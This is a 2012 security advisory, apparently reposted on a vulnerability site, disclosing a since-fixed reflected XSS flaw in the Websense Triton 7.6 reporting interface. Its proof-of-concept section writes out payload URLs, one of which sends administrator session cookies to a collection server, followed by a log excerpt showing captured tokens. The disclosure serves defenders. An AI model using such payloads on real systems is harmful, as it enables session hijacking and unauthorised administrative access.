Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:28024
HistoryMay 01, 2012 - 12:00 a.m.

NGS00137 Technical Advisory: Websense Triton 7.6 - reflected XSS in report management UI

2012-05-0100:00:00
vulners.com
48

=======
Summary

Name: Websense (Triton 7.6) reflected XSS in report management UI
Release Date: 30 April 2012
Reference: NGS00137
Discoverer: Ben Williams <[email protected]>
Vendor: Websense
Vendor Reference:
Systems Affected:
Risk: Medium
Status: Fixed

========
TimeLine

Discovered: 24 October 2011
Released: 2 November 2011
Approved: 2 November 2011
Reported: 2 November 2011
Fixed: 2 December 2011
Published: 30 April 2012

===========
Description

Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture authentication session tokens.

The exploit would require an attacker to:

  • Know the IP address or hostname of the Websense system
  • Get the administrator to click on a crafted URL
  • The exploit will work with the administrator logged out

=================
Technical Details

I. VULNERABILITY

Websense (Triton 7.6) reflective XSS in report management UI

II. BACKGROUND

Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products

http://www.websense.com/

III. DESCRIPTION

Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture of authentication session tokens.

This allows an attacker to gain access to the reporting UI (by session hijacking) or run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.

IV. PROOF OF CONCEPT

Affected URL:

https://192.168.1.67:9443/explorer_wse/detail.exe

Examples:

Pop-up showing some session-cookies

https://192.168.1.67:9443/explorer_wse/detail.exe?c=cat&amp;cat=153&amp;anon=&amp;startDate=2011-10-22&amp;endDate=2011-10-22&amp;session=a434cf98f3a402478599a71495a4a71e&amp;dTitle=Internet_use_by_Category&quot;&gt;&lt;script&gt;alert&#40;document.cookie&#41;&lt;/script&gt;&amp;section=1&amp;uid=&amp;col=1&amp;cor=1&amp;explorer=1&amp;fork=1&amp;puid=7360

Send the current session-cookies to a credentials-collection server:

https://192.168.1.67:9443/explorer_wse/detail.exe?c=cat&amp;cat=153&amp;anon=&amp;startDate=2011-10-22&amp;endDate=2011-10-22&amp;session=a434cf98f3a402478599a71495a4a71e&amp;dTitle=Internet_use_by_Category&quot;&gt;&lt;script&gt;document.location=unescape&#40;&quot;http://192.168.1.64/&quot;&#37;2bencodeURIComponent&#40;document.cookie&#41;&#41;&lt;/script&gt;&amp;section=1&amp;uid=&amp;col=1&amp;cor=1&amp;explorer=1&amp;fork=1&amp;puid=7360

From the collection servers web logs:

192.168.1.64 - - [24/Oct/2011:12:30:00 +0100] "GET/WS_ADMIN_WEB_CONFIG=%22%7BuiLanguage=en,%20baseUrl-https=https://192.168.1.67:9443/mng/,&#37;20baseUrl-http=http://192.168.1.67:8080/mng/,&#37;20loginPageUrl=login/pages/loginPage.jsf,&#37;20keepAliveUrl=login/images/spacer.gif,&#37;20helpBaseURL=https://192.168.1.67:9443/onlinehelp/en/&#37;7D&#37;22;&#37;20WS_JAVA_SESSION_INFO=&#37;22{id=1A8736BC74BC6521CA63D1583B96A8E8,&#37;20ttl=1800}&#37;22;&#37;20WS_SHARED_SESSION=&#37;22{uid=YWRtaW4=,&#37;20userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A,&#37;20domain=192.168.1.67,&#37;20sharedSesId=7062414478986846786,&#37;20userType=local}&#37;22;&#37;20WSIRPT=timestamp&#37;3D1319455805
HTTP/1.1" 404 802 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2)
Gecko/20100101 Firefox/6.0.2"

The cookies can be added to the attackers browser and used to login to the report area; manipulate reports, report schedules, etc.

The main concern however is the ability for the attacker to run javascript in the context of the administrators browser and the administrative UI.

Though there does appear to be a session token specified in the url requests (a434cf98f3a402478599a71495a4a71e) this can be changed without affecting the exploit's effectiveness.

The exploit will also work with the administrator logged-out - so there seem to be some session-management issues.

===============
Fix Information

This issue is addressed in Hotfix 24, which can be downloaded at:
https://www.websense.com/content/mywebsense-hotfixes.aspx

NGS Secure Research
http://www.ngssecure.com